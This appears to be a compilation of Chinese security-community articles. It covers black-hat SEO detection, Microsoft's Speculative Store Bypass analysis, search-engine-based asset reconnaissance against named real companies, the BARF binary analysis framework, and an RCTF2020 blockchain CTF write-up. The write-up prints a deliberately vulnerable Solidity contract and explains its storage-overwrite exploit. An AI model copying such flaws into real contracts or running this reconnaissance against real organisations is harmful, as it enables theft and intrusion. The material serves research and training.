前面介绍了很多关于黑帽seo的手法，那作为站长或者运维该怎么去监控自身网站是否被入侵，且被黑帽seo利用了呢？这里不说如何检测入侵，因为这不是本文的范畴，我们只谈如何检测被黑帽seo利用，这里提供几个思路。
#### 内部监控
可以监控服务器web目录下的文件改动情况，一般黑帽seo都需要改动web目录下的文件（新增文件，或更改文件内容）。当然有些只改变nginx配置就可以达到目的，因此nginx等服务器的配置文件也需要进行监控。
小结：内部监控比较类似防篡改的检测，只是面对网页劫持，除了响应文件内容改动以外，还需要响应新增文件等行为，包括服务器配置文件的改动。
#### 外部检测
黑帽seo手法从根本上是欺骗搜索引擎，因此检测本质上也可以从搜索引擎出发。检测网站在搜索引擎搜索显示下是否出现了敏感的内容，比如：博彩、色情等。由于网页劫持手法可以动态调控显示内容，比如不同地区点击返回不同的内容等，因此这需要我们的检测程序能够多维度得进行检测。
多维度包括但不局限于以下几种：
* 采用不同地区的IP检测目标网站
* 采用不同时间段内检测目标网站
* 采用不同的UA访问目标网站
* 采用不同的访问方式目标网站（百度搜索跳转、直接访问域名）
检测步骤分为：
* 获取搜索引擎搜索结果
* 模拟浏览器访问搜索结果网页
* 解析网页源码等元素
* 匹配规则判断网站是否被劫持
##### 获取搜索引擎搜索结果
这一步骤需要爬取搜索引擎，比如我们要判断thief.one网站是否被劫持，可以搜索百度：site:thief.one
色情。关键词需要自己搜集，然后利用爬虫爬取百度的搜索结果。
显然这一步需要对抗百度搜索引擎，防止被其屏蔽问题，还要能够正确的获取百度的搜索结果。关于爬起搜索引擎可参考：
[爬取搜索引擎之寻你千百度](https://thief.one/2017/03/17/%E7%88%AC%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%B9%8B%E5%AF%BB%E4%BD%A0%E5%8D%83%E7%99%BE%E5%BA%A6/)
[爬取搜索引擎之搜狗](https://thief.one/2017/03/19/%E7%88%AC%E5%8F%96%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%B9%8B%E6%90%9C%E7%8B%97/)
##### 模拟浏览器访问搜索结果网页
当爬到所需要的网页链接后，我们需要重放url获取信息。这一步需要能够动态执行网页中嵌入的js代码，动态跟踪网页的走向（跳转）。这里推荐使用[phantomjs](http://thief.one/2017/03/31/Phantomjs%E6%AD%A3%E7%A1%AE%E6%89%93%E5%BC%80%E6%96%B9%E5%BC%8F/_)当然也可以使用其他webkit。
##### 解析网页源码等元素
可以利用python解析网页源码、网页标题、URL、js等内容，最方便的做法是获取各个参数的内容，处理数据打标后扔到机器学习的算法中进行模型计算。
##### 匹配规则判断网站是否被劫持
可以使用正则等方式，根据黑帽seo等特征建立规则库去匹配。当然也可以利用机器学习的方式去对相关网页进行分类，我们曾经使用过某种算法，将准确率提高到了90%左右。
小结：外部检测难度比较大，目前黑帽seo主要针对百度，因此这相当于去检测百度的搜索结果；而如何模拟浏览器访问也是一大难题，当然最重要的是最后的机器学习，如何训练模型。
### 谁来为此买单？
基于黑帽SEO大多数都为博彩赌博行业做推广，将会增加网民沉迷网络赌博的风险，纵观身边因为网络赌博而家破人亡的事情不在少数；而也有一部分黑帽SEO在为枪支弹药、毒品违禁药物做推广，更是为犯罪分子提供了便利。在此之前，我一直认为黑产只是暴利并无太大危害，然而通过对黑帽SEO的研究发现，其危害的绝不仅仅只是经济而已。那么这一切，应该由谁来买单？
首先网站管理者难辞其咎，正因为管理员安全意识的淡薄，网站安全性不高，导致被入侵最终成为黑产的一部分。在我自身处理的几起类似事件中，网站管理员往往是一副无关紧要的态度，即使网站已经被黑帽SEO利用，也觉得没有对网站本身造成什么危害，觉悟性不高。
其次搜索引擎应该担负一定的责任，因为黑帽SEO行为主要针对搜索引擎，说白了就是利用搜索引擎算法漏洞，提升非法网站权重。国内大多数网民上网都使用搜索引擎。搜索引擎既然有权利决定显示哪些资源给用户，那么也必须有义务确保这些资源的安全性、正规性。
### 如何制止与防御？
如果您是网民，制止黑帽seo最好的方式就是科学上网，发现非法网站及时提交到[安全联盟](https://www.anquan.org/)或向搜索引擎举报。
如果您是网站管理员，请做好自身网站的安全建设，及时补漏；若已发现被入侵，及时联系技术人员处理。
### 谈谈心
当在写这篇文章前，我思索着尽量能够全面地介绍黑帽SEO知识以及手法。当开始写这篇文章的时候，我便有点无从下手，因为涉及知识面太广，手法又非常丰富，我研究黑帽SEO不久了解也不算深入。而当我写完这篇文章的时候，我觉得这一切才刚刚开始，也许我此刻抒写的正是黑客几年前或十几年前所用或者所流行的技术。
### 传送门
[黑帽SEO剖析之总结篇](https://thief.one/2017/09/28/4/)
[黑帽SEO剖析之隐身篇](https://thief.one/2017/09/28/3/)
[黑帽SEO剖析之工具篇](https://thief.one/2017/09/28/2/)
[黑帽SEO剖析之手法篇](https://thief.one/2017/09/28/1/) | 社区文章 |
# SSB(speculative store bypass)分析和防护措施 -CVE-2018-3639
##### 译文声明
本文是翻译文章，文章原作者 Matt Miller，文章来源：https://blogs.technet.microsoft.com/
原文地址：<https://blogs.technet.microsoft.com/srd/2018/05/21/analysis-and-mitigation-of-speculative-store-bypass-cve-2018-3639/>
译文仅供参考，具体内容表达以及含义原文为准。
在2018年1月，微软发布了涉及投机执行方渠道（称为Specter和Meltdown）的新类硬件漏洞的安全更新。在本博客文章中，我们将提供技术分析，推测性执行侧通道漏洞的另一个子类，称为Speculative
Store Bypass（SSB），已被分配CVE-2018-3639。SSB由Microsoft安全响应中心（MSRC）的Ken
Johnson和Google Project Zero（GPZ）的Jann Horn（[@tehjh](https://github.com/tehjh
"@tehjh")）独立发现。
这篇文章主要面向对SSB技术分析感兴趣的安全研究人员和工程师，以及与之相关的缓解措施。如果您对更一般的指导感兴趣，请参阅我们的Speculative
Store Bypass的建议以及针对Windows Server，Windows Client和Microsoft云服务的知识库文章。
## TL;DR
在深入了解技术细节之前，下面简要总结受SSB影响的CPU，Microsoft对风险的评估以及迄今为止确定的缓解措施。
微软正在与CPU制造商合作，评估可用于解决CVE-2018-3639的新硬件功能的可用性和准备情况。在某些情况下，这些功能需要安装微码或固件更新。微软计划在未来的Windows更新中提供利用新硬件功能的缓解措施。
## Speculative Store Bypass (SSB)概述
在我们关于减轻投机执行侧通道硬件漏洞的[博客文章](https://blogs.technet.microsoft.com/srd/2018/03/15/mitigating-speculative-execution-side-channel-hardware-vulnerabilities/)中，我们描述了三个可用于为推测性执行侧通道创建条件的推测原语。这三个基元提供了沿非架构路径进入投机执行的基本方法，包括条件分支错误预测，间接分支错误预测和异常传递或延期。Speculative
Store Bypass (SSB)属于我们称为内存访问错误预测的推测原语的新类别。
SSB出现是由于CPU优化，可以允许潜在的依赖加载指令在旧商店之前被推测性地执行。具体而言，如果预测负载不依赖于先前的存储，则可以在存储之前推测性地执行负载。如果预测不正确，这可能导致读取过期的数据，并可能在推测期间将该数据转发到其他相关的微操作上。这可能会引发投机执行方面的渠道和敏感信息的披露。
为了说明这可能如何发生，可以考虑下面的简单例子。在这个例子中，假设RDI和RSI等于体系结构路径上的相同地址。
01：88040F mov [rdi + rcx]，al
02：4C0FB6040E movzx r8，byte [rsi + rcx]
03：49C1E00C shl r8，字节0xc
04：428B0402 mov eax，[rdx + r8]
在这个例子中，第1行的MOV指令可能需要额外的时间来执行（例如，如果RDI +
RCX的地址表达式的计算正在等待先前的指令执行）。如果发生这种情况，CPU可能会预测MOVZX不依赖于MOV，并可能在执行存储的MOV之前推测性地执行它。这可能导致来自位于RSI
+ RCX的内存的陈旧数据被加载到R8中，并且被送到第4行上的相关负载。如果R8中的字节值是敏感的，则可以通过利用高速缓存如FLUSH +
RELOAD（如果RDX指的是共享内存）或PRIME + PROBE的基础披露原语。CPU最终会检测到错误预测并丢弃计算出的状态，
为了解释这个问题，这个例子被简化了，但是可以想象这个概念可能发生的概括。例如，类似的序列可能存在于SSB可能引起推测性越界读取，类型混淆，间接分支等情况下。我们修订了我们针对推测性执行端通道的[C
++开发人员指南](https://docs.microsoft.com/en-us/cpp/security/developer-guidance-speculative-execution)，以包含可能产生CVE-2018-3639实例的代码模式和条件的其他示例。实际上，找到CVE-2018-3639的可利用实例需要攻击者识别一个指令序列，其中：
1.该序列可通过信任边界到达，例如用户模式下的攻击者可以通过系统调用以内核模式触发序列。
2.该序列包含一个架构上依赖于先前存储的加载指令。
3.由加载指令读取的陈旧数据是敏感的，并且以可在非架构路径上创建侧通道的方式使用，例如数据馈送公开小工具。
4.在构成公开小工具的负载和依赖指令被推测执行之前，存储指令不执行。
虽然我们对这个新漏洞类的研究仍在进行，但我们尚未确定满足上述所有条件的指令序列，而且我们目前还没有意识到在我们的软件中存在任何CVE-2018-3639可利用的实例。
在即时（Just-in-Time，JIT）编译器的情况下，例如现代Web浏览器使用的JavaScript
JIT，攻击者可能会提供产生满足上述条件的本机代码的JavaScript。但是，Microsoft Edge，Internet
Explorer和其他主流浏览器已采取措施降低定时器的精度，以增加成功创建副通道的难度。
## Speculative Store Bypass (SSB)）的缓解措施
有多种适用于SSB的缓解措施。在我们以前的[博客文章](https://blogs.technet.microsoft.com/srd/2018/03/15/mitigating-speculative-execution-side-channel-hardware-vulnerabilities/)减轻投机性执行端的通道，我们的特点软件的安全模型通常可以在风险和各种策略以减轻投机执行侧通道。我们将重新使用该帖子中以前建立的术语来构建SSB可用的缓解选项。
### 与软件安全模型的相关性
下表总结了SSB与软件安全模型通常关心的各种设备内攻击情况的潜在相关性。与CVE-2017-5753（幽灵变体1），SSB是理论上适用于由橙色作为指示的每个攻击场景（灰色单元格表示不适用）。
### 防止涉及SSB的投机技巧
正如我们在过去所指出的那样，减轻漏洞的最好方法之一就是尽可能地解决问题，尽可能接近根本原因。在SSB的情况下，有一些技术可以用来防止依赖SSB作为推测原语的猜测技术。
**通过序列化指令的投机障碍**
与CVE-2017-5753（Specter变体1）一样，可以通过使用架构定义的指令序列化执行来缓解SSB，从而充当推测障碍。对于SSB，可以在存储指令和加载之间插入序列化指令（例如ARM上的x86
/ x64和SSBB上的LFENCE），并可以在存储之前进行推测性执行。例如，在第2行插入一个LFENCE减轻了这篇文章中简化的例子。有关其他信息，请参阅“
C ++开发人员指导推荐执行端通道”。
01：88040F mov [rdi + rcx]，al
02：0FAEE8 lfence
03：4C0FB6040E movzx r8，byte [rsi + rcx]
04：49C1E00C shl r8，byte 0xc
05：428B0402 mov eax，[rdx + r8]
**推测性商店绕行禁用（SSBD）**
在某些情况下，CPU可以提供设施来抑制发生推测性商店旁路，因此可以为SSB提供分类缓解。AMD，ARM和英特尔已经记录了软件可以用来实现这一目标的新硬件功能。微软正在与AMD，ARM和英特尔合作评估这些功能的可用性和准备情况。在某些情况下，这些功能需要安装微码或固件更新。微软计划在未来的Windows更新中提供利用新硬件功能的缓解措施。
## 也适用于SSB的一般缓解措施
有一些先前描述的缓解措施也一般适用于SSB。其中包括涉及从记忆中删除敏感内容或删除观察频道的缓解措施。一般而言，针对CVE-2017-5753（Specter
variant 1）的这两种策略的缓解技术也适用于SSB。
### 缓解措施的适用性
这些问题的复杂性使得难以理解缓解措施，推测技术和它们所应用的攻击情景之间的关系。本节提供表格来帮助描述这些关系。以下表格中提到的一些缓解技术在我们之前关于此主题的[博客文章](https://blogs.technet.microsoft.com/srd/2018/03/15/mitigating-speculative-execution-side-channel-hardware-vulnerabilities/)中进行了描述。
下面的表格的图例中绿色代表适用，灰色代表不适用
### 缓解与攻击情景的关系
下表总结了攻击方案与适用缓解措施之间的关系。
### 与变体的缓解关系
下表总结了SSB与Spectre和Meltdown变体之间的关系以及适用的缓解措施。
## 总结
在这篇文章中，我们分析了一类新的推测性执行端通道硬件漏洞，称为投机商店旁路（SSB）。该分析为评估与此类漏洞相关的风险和存在的缓解选项提供了基础。正如我们在上一篇文章中所提到的，对投机执行方面渠道的研究正在进行中，随着我们了解更多，我们将继续发展我们的回应和缓解措施。尽管我们目前评估SSB的风险较低，但我们鼓励研究人员进一步帮助我们理解真实风险，并报告可能存在的CVE-2018-3639可利用实例，这些实例可能是我们的投机执行端渠道奖励计划的一部分。 | 社区文章 |
# 实践网络空间搜索引擎应用&信息收集
## 0x0 前言
网上很少有人去以白帽子的角度去比较众多的网络空间搜索引擎的优劣，多个搜索引擎肯定是有数据重叠的部分，那么到底有没有整合起来的必要呢?
希望这篇文章能给出这个问题一些解答。同时,下面笔者从自己平时的信息收集流程出发，与大家分享一下自己信息收集思路和一些自动化想法。
## 0x1 主流搜索引擎
笔者最常使用的是FoFa、Shodan、ZoomEye,所以下面将会以这几个为基础来进行讲解和比较。
## 0x2 信息收集思路
很多时候我们能获取到信息比较少，比如只有一个主域名->"douyu.com",那么最朴素无华的思路的第一步肯定是爆破子域名,然后就对子域名进行安全性的检测，到这里基本就完成了一个很简单的信息收集流程。
上图我标注了两个过程(1)、(2),我们可以在这两个过程里面将流程复杂化(横向和纵向都可以),从而提高我们目标资产的覆盖度。
第一步比较简单,这里简单说下我的思路。
第一步可以理解为横向挖掘资产吧, 目的是找到更多相关的主域名,比如子公司的,内网互通的公司等
介绍下我最常用的思路
**(1)天眼查的股权结构,可以获取到相关的子公司。**
**(2)备案信息的查询,可以获取到相同单位的备案信息**
**(3) 域名whois反查**
**(4)IP反查,获取到真实IP的时候可以考虑这个**
**(5) 移动端信息**
...这个自动化的思路有点难实现, 需要手工参与,不过其实也很简单。
这里有两个常用的查找APP的平台: **七麦数据** 、 **APP Store**
最专业的分析平台就是[七麦数据](https://www.qimai.cn/s)
我们可以获取同开发商的应用和同公司的应用,还有微信公众号和微信小程序。
后面直接调用apk的url提取工具就行了。
本文重点其实在第二步,就是如何挖掘已有的资产数据的归属特征和分布规律，从而发现更隐蔽、更边界的资产。
流程思路大概如下:
## 0x3 归属特征
这里归属特征我暂且定义了三个,分别是SSL信息、title信息、favicon信息。
其实这里的归属特征我一直最想处理的是网站底部的一些信息,直接进行区域相似度比较感觉就蛮不错的,但是这个误报会很大,觉得还是需要大量的项目经验积累才能去完成这个,
所以我没考虑这个。
然后,
网络空间搜索引擎比较好用和准确的搜索是基于SSL信息和favicon的搜索。
关于批量处理数据得到SSL信息和favicon信息的代码很简单。
但是比如douyu.com,我就发现了基于子域名得到的SSL信息基本全是CDN的SSL信息,作用并不是很大,然后得到的也是CDN的C段,所以如果存在CDN的话,那么就会出现很多无效的结果。
所以这里的归属特征,为了在一定程度下得到比较准确的结果，简单处理如下:
1.SSL我会写死成包含目标中文名称的关键词\主域\组织名称。
2.favicon hash直接进行查询即可。
## 0x4 整合搜索引擎
### 0x4.1 搜索语法
**SSL信息搜索:**
Shodan: `ssl:"ximalaya.com"`
ZoomEye: `ssl:"ximalaya.com"`
FoFa: `cert="ximalaya.com"`
**Favicon搜索:**
Shodan: `http.favicon.hash:214897281`
ZoomEye: `iconhash: "214897281"`
FoFa: `icon_hash="214897281"`
### 0x4.2 自动化导出结果
上面的搜索引擎都有比较完备的API和SDK,这里我们直接写个脚本进行调用就可以。
上面代码写的比较粗糙, 是Demo的代码,能跑起来就行,线上的代码的话需要根据设计来整合统一处理异常、config、重试等。
### 0x4.3 结果比较
以ximalaya.com作为查询关键字进行SSL查询
以`214897281`作为icon_hash来进行favicon的查询
**(1)SSL信息搜索**
然后可以看一下三者的重合程度。
可以看到确实有一部分重叠, 但是每个引擎的数据确实是不太一样的, 重合度并没有很高,三者之间是可以互补的。
如果合并的话,那么将会多出147个结果,所以整合多个搜索引擎的意义还是存在的。
**(2) Favicon 信息搜索**
在这方面ZoomEye确实逊色了一点。
* * *
在这个方面我只获取到IP,而在FoFa是可以搜索到hostname的,而且hostname的基本数据是三家引擎中最全的,当然这里我只是采用了一个个例进行比较分析，是缺乏权威性的，但是从一个白帽子角度出发，我觉得基于上面的结果，如果能整合3个引擎的结果的话，那么资产的覆盖度是可以显著提高的,
而这个整合模块也是我正在做的。
## 0x5 分布规律
这里我先说明下我对分布规律(主要是指目标资产的IP的分布)的理解，这里我觉得可以从几个点来交叉谈谈
**1.ASN**
**2.地域**
**3.C段**
### 0x5.1 IP的来源
**(1)最直接的来源是通过解析子域名得到IP**
但是经过我对SSL信息的提取,可以发现其实很多挂上CDN的证书的,说明是使用了CDN的服务
但是在测试douyu的一些站点的时候,
发现[多地ping](https://ping.chinaz.com/)并没有获得多个IP,而是单一的一个阿里云BGP数据中心IP。
{'OU': None, 'Organization': None, 'CN': '*.douyucdn.cn', 'server': 'security.douyu.com', 'port': 443, 'type': 'ssl'}
尝试在网络空间搜索引擎去寻找该IP的c段
基于这些信息，我基本可以判断这个IP购买的阿里云，然后拿来当自身CDN的服务器来使用的，这些C段的资产关联目标的可能性非常低。
**(2)C段聚合的IP**
首先需要明白一个基础事实, ASN聚合>C段聚合,所以可以直接从ASN开始分析然后回到C段分析
得到ASN基础信息的函数如下:
分析子域名基础数据得到的结果如下:
ASN及其CIDR:
{'58466', '13335', '37963', '38365', '56040', '56046', '24547', '58543'}
{'111.62.0.0/16', '120.237.0.0/16', '121.201.0.0/18', '183.232.0.0/16', '180.76.124.0/23', '120.238.0.0/16', '36.155.0.0/18', '104.17.192.0/20', '120.232.0.0/16', '39.100.0.0/14', '120.241.0.0/16', '183.239.0.0/16', '14.18.192.0/20', '183.240.0.0/16', '101.201.0.0/16'}
如果遍历CIDR来确定资产的话,
基本扫描数量就是几十W了,而且根据描述来看,很多都是公共的ASN,或者第三方云服务或者运营商的ASN,所以这个时候获取的CIDR范围其实没必要去进行批量扫描,但是可以去调用网络空间搜索引擎,来获取信息,这里获取的信息很多时候需要手工去过滤一下。
这里就发现了一个Ucenter的目录的网站-----斗鱼一起玩
**(3) 基于SSL+地域高精度定位目标**
首先目标的基本信息, 可以确定斗鱼的总部是在武汉的,那么在总部城市肯定会有自己的数据中心，或者出口服务器。
经过测试第三方引擎的搜索引擎其实算法是做了一定优化的，不是进行全量搜索的，要不然搜索速度不可能那么快，所以结合SSL信息+地域信息搜索，是我自己比较常用的方式，也是结果比较多的方式。
cert="douyu.com" && city="Wuhan"
cert="斗鱼" && city="Wuhan"
得到的结果全是交换机,我们直接导出其C段。
FoFa results found: 13
['58.19.41.0/24', '119.36.49.0/24', '122.190.236.0/24', '119.96.196.0/24']
至于是不是与目标具有高关联度，你去访问这些C段IP的时候，会发现很多有意思的东西....
至于这个来源的C段的IP资产,我推荐的处理方式是：
**全量端口扫描- >定时监控->定时扫描**
## 0x6 WEB服务发现
发现更多的相关WEB服务，那么突破点就变得更多，目标也就更脆弱。
### 0x6.1 WEB服务划分
这里因为存在一些差异，所以我划分了两种WEB服务。
(1)基于IP的WEB服务
(2)基于IP+域名的WEB服务
怎么理解呢？
基于IP的服务,指的就是说服务器并没有绑定域名,可以直接显示出来WEB服务
基于IP+域名的服务，就是要host指定为域名，才会显示出相应host对应的服务，这个在虚拟主机和CDN上都是非常常见的。
### 0x6.2 扫描思路
**(1) 基于IP的话**
Masscan->port->requests->info
**(2)基于IP+Domain**
Masscan->Port+Host->requests->info
### 0x6.3 代码实现
Masscan扫描
WEB服务发现
进程池+线程池加速
结果:
## 0x7 思考的问题
上面我的这些思路,为什么网络空间搜索引擎没有这个模块来进行数据关联呢？不过FoFa倒是在一定程度上考虑hostname,就是不清楚他是怎么收集的域名。还有就是我为什么对目标高关联性的网段会考虑进行实时端口扫描，然后去发现web服务呢？
问题(1)解答:
网络空间搜索引擎起到的是数据收集与分类的作用，至于关联，是用户来组合的事情，但是由于"组合"是可以进行数据分析来得到比较有效的组合的，这个就是我想要自动化的其中一部分,这个部分想要自动化，我个人觉得并不容易。
简单来说，该问题答案就是:搜索引擎目前的定位并不在此。
问题(2)解答:
搜索引擎的数据滞后性还是比较严重的, 而且处理如此恐怖量级的数据，漏报是不可避免的，而我这种小范围的实时扫描，是可以取得一定优于搜索引擎结果的效果的。
## 0x8 开发思路
其实我现在在做的事情，可以简单理解为:
获取更多的数据->更精确的关联目标->更大程度发现WEB服务。这三个步骤细分下来其实还是非常繁琐的，本文只是围绕了大体的思路，给出了极其粗糙的Demo代码,实际上这样的代码是根本不会去使用的。
目前的开发思路,还是分模块进行开发,最大程度解耦,
然后开发出一个filter的可选引擎，来方便组合各个模块,然后每个模块会前置一个处理输入的模块，让输入符合模块的参数格式。 同样输出也有一个统一的模块。
其实还有很多问题啦,怎么让自动化选择最优呢？ 如何应用到分布式上呢？ 如何可视化呢？ 如何构建来源链呢？
还有就是最关键就是提高速度，关于这个我倒是有了一些解决的方案，(少输入、避免重复扫描、合理分配资源、结果复用),不过有趣的是，当去应用方案的时候，如果没做好很详细的规划，那么不可避免就会出现新的问题。
> PS: 其实我中间还去尝试过构造一个判断关联度的模块,
> 后来我发现，这个实现挺难的，目前这个模块还是由人工来决定，只支持简单的filter字符串,来优先显示，就没做关联度的了，有一说一，关联度确实没啥用。
## 0x9 总结
其实我还是非常渴望那些拥有丰富的实践经验的师傅，能给我一些补充和优化的思路，这也是我想要发这篇文章一个主要的目的，同时，如果有小伙伴对这个也有想法的话，可以找我一起交流呀，一起开发呀，带带弟弟吧。
> 这个系统慢慢会以单一模块逐步开源出来吧, 毕竟我现在的开发思路，就是每一个步骤就是一个独立的工具来开发的。
## 0xA 参考链接
[SRC漏洞挖掘 - 前期资产收集](https://www.yuque.com/broken5/blog/hoa8if)
[Python Requests
小技巧总结](https://blog.csdn.net/xie_0723/article/details/52790786) | 社区文章 |
项目地址：https://github.com/programa-stic/barf-project/
在计算机科学和软件工程学科的众多领域中，从软件安全程序分析到逆向工程，二进制代码的分析是很关键的行为。而手动进行二进制分析是一个困难又耗时的任务，因此便有了一些给分析人员准备的自动化分析工具。然而，这些大多数工具具有若干技术和商业上的限制，限制了大部分学术和从业者社区的访问和使用。
_BARF_
是一款二进制分析框架，旨在支持信息安全学科中常见的大量的二进制代码分析任务。它是一个可编写脚本的平台，支持从多种架构中提取指令，提供了从二进制翻译到中间表示，用于代码分析的插件和能与外部工具（如调试器）交互的可扩展框架，
SMT 求解器以及一些指令工具等。
该框架主要用于辅助分析者，但它完全可以自动化。
BARF 项目包括了 BARF 和相关工具包。到目前为止，该项目由以下项目组成：
* BARF : 跨平台开源二进制分析和逆向工程框架。
* PyAsmJIT : 用于 Intel x86_64 和 ARM 架构的 JIT 编译器。
* 基于 BARF 的 工具:
* BARFgadgets : 在二进制程序中搜索，分类并校验 ROP 的小程序。
* BARFcfg : 恢复二进制程序功能的控制流图。
* BARFcg : 回复二进制程序函数的调用图。
更多相关信息参考：
* BARF: A multiplatform open source Binary Analysis and Reverse engineering Framework (Whitepaper) [[en](https://github.com/programa-stic/barf-project/blob/master/doc/papers/barf.pdf)]
* BARFing Gadgets (ekoparty2014 presentation) [[es](https://github.com/programa-stic/barf-project/blob/master/doc/presentations/barfing-gadgets.ekoparty2014.es.pdf)]
当前版本信息： v0.3
**URL** ： https://github.com/programa-stic/barf-project/releases/tag/v0.3
**Change Log** ：https://github.com/programa-stic/barf-project/blob/v0.3/CHANGELOG.md
> 所有包均在 Ubuntu 16.04 (x86_64) 进行测试
### BARF
BARF 是用于二进制分析和逆向工程的 Python 包。支持以下特性：
* 加载不同类型的二进制程序（`ELF`, `PE`等）
* 支持 32 位和 64 位的 Intel x86 架构
* 支持 32 位的 ARM 架构
* 运行在中间语言（[REIL](http://www.usenix.org/legacy/event/woot10/tech/full_papers/Dullien.pdf)），因此所有分析算法是与架构无关的
* 与 [Z3](https://github.com/Z3Prover/z3) 和 [CVC4](http://cvc4.cs.nyu.edu/web/) SMT 求解器集成，这意味着你可以将代码片段表述为公式，并检查对它们的限制。
相关功能仍在开发中。
### 安装
BARF 需要以下依赖：
* [Z3](https://github.com/Z3Prover/z3) : A high-performance theorem prover being developed at Microsoft Research.
* [CVC4](http://cvc4.cs.nyu.edu/web/) : An efficient open-source automatic theorem prover for satisfiability modulo theories (SMT) problems.
在系统上安装 BARF：
sudo python setup.py install
本地用户安装：
$ sudo python setup.py install --user
### 快速入门
下面一个简单的例子显示了如何打开一个二进制文件，并打印每条指令的中间翻译（REIL）。
from barf import BARF
# Open binary file.
barf = BARF("examples/bin/x86/branch1")
# Print assembly instruction.
for addr, asm_instr, reil_instrs in barf.translate():
print("0x{addr:08x} {instr}".format(addr=addr, instr=asm_instr))
# Print REIL translation.
for reil_instr in reil_instrs:
print("{indent:11s} {instr}".format(indent="", instr=reil_instr))
我们还可以恢复 CFG 并保存到 `.dot` 文件。
# Recover CFG.
cfg = barf.recover_cfg()
# Save CFG to a .dot file.
cfg.save("branch1_cfg")
我们可以使用 SMT 解算器代码检测限制，比如以下代码：
80483ed: 55 push ebp
80483ee: 89 e5 mov ebp,esp
80483f0: 83 ec 10 sub esp,0x10
80483f3: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
80483f6: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]
80483f9: 01 d0 add eax,edx
80483fb: 83 c0 05 add eax,0x5
80483fe: 89 45 fc mov DWORD PTR [ebp-0x4],eax
8048401: 8b 45 fc mov eax,DWORD PTR [ebp-0x4]
8048404: c9 leave
8048405: c3 ret
你想知道必须分配什么值给内存位置 `ebp-0x4`，`ebp-0x8`,`ebp-0xc` ，以便在执行代码后再 eax 寄存器获得一个特定的值。
首先，我们将指令添加到分析器组件.
from barf import BARF
# Open ELF file
barf = BARF("examples/bin/x86/constraint1")
# Add instructions to analyze.
for addr, asm_instr, reil_instrs in barf.translate(0x80483ed, 0x8048401):
for reil_instr in reil_instrs:
barf.code_analyzer.add_instruction(reil_instr)
然后，我们为每个感兴趣的变量生成表达式。
# Get smt expression for eax and ebp registers
eap = barf.code_analyzer.get_register_expr("eax")
ebp = barf.code_analyzer.get_register_expr("ebp")
# Get smt expressions for memory locations (each one of 4 bytes)
a = barf.code_analyzer.get_memory_expr(ebp-0x8, 4)
b = barf.code_analyzer.get_memory_expr(ebp-0xc, 4)
c = barf.code_analyzer.get_memory_expr(ebp-0x4, 4)
并添加所需的限制。
# Set range for variables
barf.code_analyzer.set_preconditions([a >= 2, a <= 100])
barf.code_analyzer.set_preconditions([b >= 2, b <= 100])
# Set desired value for the result
barf.code_analyzer.set_postcondition(c == 13)
最后，我们检查我们建立的限制是否得到解决。
# Check satisfiability.
if barf.code_analyzer.check() == 'sat':
print("SAT!")
# Get concrete value for expressions.
eax_val = barf.code_analyzer.get_expr_value(eax)
a_val = barf.code_analyzer.get_expr_value(a)
b_val = barf.code_analyzer.get_expr_value(b)
c_val = barf.code_analyzer.get_expr_value(c)
# Print values.
print("eax : 0x{0:%08x} ({0})".format(eax_val))
print("ebp : 0x{0:%08x} ({0})".format(ebp_val))
print(" a : 0x{0:%08x} ({0})".format(a_val))
print(" b : 0x{0:%08x} ({0})".format(b_val))
print(" c : 0x{0:%08x} ({0})".format(c_val))
else:
print("UNSAT!")
你可以在 [examples](https://github.com/programa-stic/barf-project/blob/master/examples) 目录看到更多的例子。
更多相关内容可参考项目的 [GitHub](https://github.com/programa-stic/barf-project/)
* * * | 社区文章 |
# 区块链又3道题目分析（主过程）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## RCTF2020 roiscoin
题目给了源码
### Resource
pragma solidity ^0.4.23;
contract FakeOwnerGame {
event SendFlag(address _addr);
uint randomNumber = 0;
uint time = now;
mapping (address => uint) public BalanceOf;
mapping (address => uint) public WinCount;
mapping (address => uint) public FailCount;
bytes32[] public codex;
address private owner;
uint256 settlementBlockNumber;
address guesser;
uint8 guess;
struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}
if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1;
failedlog.failtime = now;
failedlog.success_count = WinCount[msg.sender];
failedlog.origin = tx.origin;
failedlog.fail_count = FailCount[msg.sender];
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;
FailedLogs[msg.sender].push(failedlog);
}
}
}
function beOwner() payable {
require(address(this).balance > 0);
if(msg.value >= address(this).balance){
owner = msg.sender;
}
}
function revise(uint idx, bytes32 tmp) {
codex[idx] = tmp;
}
}
给了源码可以说好分析的多。 查看payforflag的条件是balanceof[msg.sender]>=2000 还有就是调用者必须为owner.
然后查看这里的balance 如何来加， 通过赌注，但是这里赌注的随机数无法预测但是只有0和1，还是可以爆破的。首先讲非预期。
### 非预期：
由于beOwner中的 address(this).balance在计算时算了msg.value。
所以只要原合约的初始为0，那么我们转账>0就可以拿到BeOwner 然后在暴力猜数字2次成功就可以payforflag了。
### 预期:
我们可以看到在battle里面，如果猜错这里用了一个在这里定义的结构体。而结构体的内存这里没有声明使用memory而是使用了stroage
，这里便引起了变量覆盖。
这里的failedlog未初始化造成了storage的任意写从而我们可以来覆写我们的codex的数组长度。
数组长度任意写之后，我们下一步就是想把owner写成我们自己。 数组任意写，对长度有一定要求，利用msg.owner覆盖了数组的高20字节。
